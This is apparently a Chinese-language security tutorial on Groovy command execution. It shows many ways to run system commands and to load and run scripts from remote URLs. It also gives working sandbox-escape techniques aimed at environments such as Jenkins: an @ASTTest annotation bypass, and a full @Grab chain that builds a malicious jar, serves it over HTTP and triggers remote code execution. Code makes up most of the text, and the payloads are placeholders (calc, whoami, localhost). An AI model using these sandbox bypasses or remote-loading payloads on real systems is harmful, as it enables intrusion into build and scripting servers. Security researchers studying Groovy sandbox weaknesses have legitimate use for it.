本指南介绍了利用 Groovy脚本 执行系统命令、使用 MethodClosure、GroovyShell、GroovyScriptEngine 等多种方式执行方法。
Groovy 允许直接在脚本中执行系统命令。
groovyCopy code
// test.groovy
//其他执行命令执行的方法
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
groovyCopy code
// test.groovy
println "whoami".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}"
MethodClosure 允许将方法封装成闭包,便于执行。
javaCopy code
// test.java
// 创建 MethodClosure 封装 exec 方法,并执行 calc 命令
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
mc.call("calc");
javaCopy code
// test.java
// 创建 MethodClosure 直接封装并执行字符串命令
MethodClosure mc = new MethodClosure("calc", "execute");
mc.call();
GroovyShell 类用于执行 Groovy 脚本,支持多种数据源。
javaCopy code
// test.java
// 使用 GroovyShell 从字符串执行 Groovy 代码
GroovyShell groovyShell = new GroovyShell();
String cmd = "\"whoami\".execute().text";
System.out.println(groovyShell.evaluate(cmd));
javaCopy code
// test.java
// 使用 GroovyShell 从文件执行 Groovy 脚本
GroovyShell groovyShell = new GroovyShell();
File file = new File("src/main/java/com/groovy/TestGroovyScript.groovy");
System.out.println(groovyShell.evaluate(file));
javaCopy code
// test.java
// 使用 GroovyShell 从 URI 执行 Groovy 脚本
GroovyShell groovyShell = new GroovyShell();
URI uri = new URI("http://127.0.0.1:8888/exp.groovy");
System.out.println(groovyShell.evaluate(uri));
GroovyScriptEngine 用于从指定源加载和执行 Groovy 脚本。
javaCopy code
// test.java
// 使用 GroovyScriptEngine 从本地文件系统加载并执行脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("src/main/java/com/groovy");
scriptEngine.run("TestGroovyScript.groovy", "");
javaCopy code
// test.java
// 使用 GroovyScriptEngine 从远程 URL 加载并执行脚本
GroovyScriptEngine scriptEngine = new GroovyScriptEngine("http://127.0.0.1:8888/");
scriptEngine.run("exp.groovy", "");
使用 GroovyScriptEvaluator 执行 Groovy 代码,支持 StaticScriptSource 和 ResourceScriptSource。
javaCopy code
// test.java
// 使用 StaticScriptSource 执行 Groovy 代码
GroovyScriptEvaluator groovyScriptEvaluator = new GroovyScriptEvaluator();
ScriptSource scriptSource = new StaticScriptSource("\"whoami\".execute().text");
System.out.println(groovyScriptEvaluator.evaluate(scriptSource));
javaCopy code
// test.java
// 使用 ResourceScriptSource 从 URL 加载并执行 Groovy 脚本
Resource urlResource = new UrlResource("http://127.0.0.1:8888/exp.groovy");
ScriptSource source = new ResourceScriptSource(urlResource);
System.out.println(groovyScriptEvaluator.evaluate(source));
GroovyClassLoader 用于在 Java 中加载和调用 Groovy 类。
javaCopy code
// test.java
// 使用 GroovyClassLoader 加载并执行 Groovy 类
GroovyClassLoader classLoader = new GroovyClassLoader();
Class clazz = classLoader.parseClass("class Test {\n" +
" static void main(String[] args) {\n" +
" GroovyShell groovyShell = new GroovyShell();\n" +
" String cmd = \"\\\"whoami\\\".execute().text\";\n" +
" println(groovyShell.evaluate(cmd).toString());\n" +
" }\n" +
"}");
GroovyObject object = (GroovyObject) clazz.newInstance();
object.invokeMethod("main", "");
使用 javax.script.ScriptEngine 执行 Groovy 脚本。
javaCopy code
// test.java
// 使用 ScriptEngine 执行 Groovy 脚本并获取输出
ScriptEngine scriptEngine = new ScriptEngineManager().getEngineByName("groovy");
System.out.println(scriptEngine.eval("\"whoami\".execute().text"));
某些环境下,会有groovy沙箱机制保护敏感脚本的执行(比如Jenkins中执行),这时候需要利用一些方法来绕过沙箱机制
使用@groovy.transform.ASTTest来进行沙箱绕过
//test.groovy
this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
assert Runtime.getRuntime().exec("calc")
})
def x
''')
注解的值是一个闭包,其中包含了恶意代码 Runtime.getRuntime().exec("calc"),该代码用于执行计算器程序。由于这段代码被注解标注,因此会在 AST 转换阶段被执行,绕过了沙箱的限制
Groovy的Grape机制允许开发者在不修改ClassPath的情况下,动态地引入Jar依赖。这可以通过使用@Grab注解实现,它指定了要下载和引入的库。然而,这个特性也可以被利用来动态地引入恶意代码,从而可能导致远程代码执行(RCE)。
xmlCopy code
<dependency>
<groupId>org.apache.ivy</groupId>
<artifactId>ivy</artifactId>
<version>2.4.0</version>
</dependency>
javaCopy code
public class Exp {
public Exp() {
try {
java.lang.Runtime.getRuntime().exec("calc");
} catch (Exception e) { }
}
}
bashCopy code
javac Exp.java
bashCopy code
mkdir -p META-INF/services/
echo Exp > META-INF/services/org.codehaus.groovy.plugins.Runners
bashCopy code
jar cvf poc-0.jar Exp.class META-INF
#本目录下新建test/poc/0/
mkdir -p test/poc/0/
#复制jar包到目录中
#运行http服务器
python3 -m http.server 8000
编写Groovy脚本,使用@Grab注解和相关配置来动态加载并执行远程Jar包中的Exp类:
groovyCopy code
this.class.classLoader.parseClass('''
@GrabConfig(disableChecksums=true)
@GrabResolver(name='Exp', root='http://127.0.0.1:8000/')
@Grab(group='test', module='poc', version='0')
import Exp;
''')
当运行上述Groovy脚本时,它会动态地从指定的HTTP服务下载并加载poc-0.jar,进而导入并实例化Exp类。由于Exp类的构造函数中包含了执行系统命令的代码,这将触发远程代码执行(RCE)。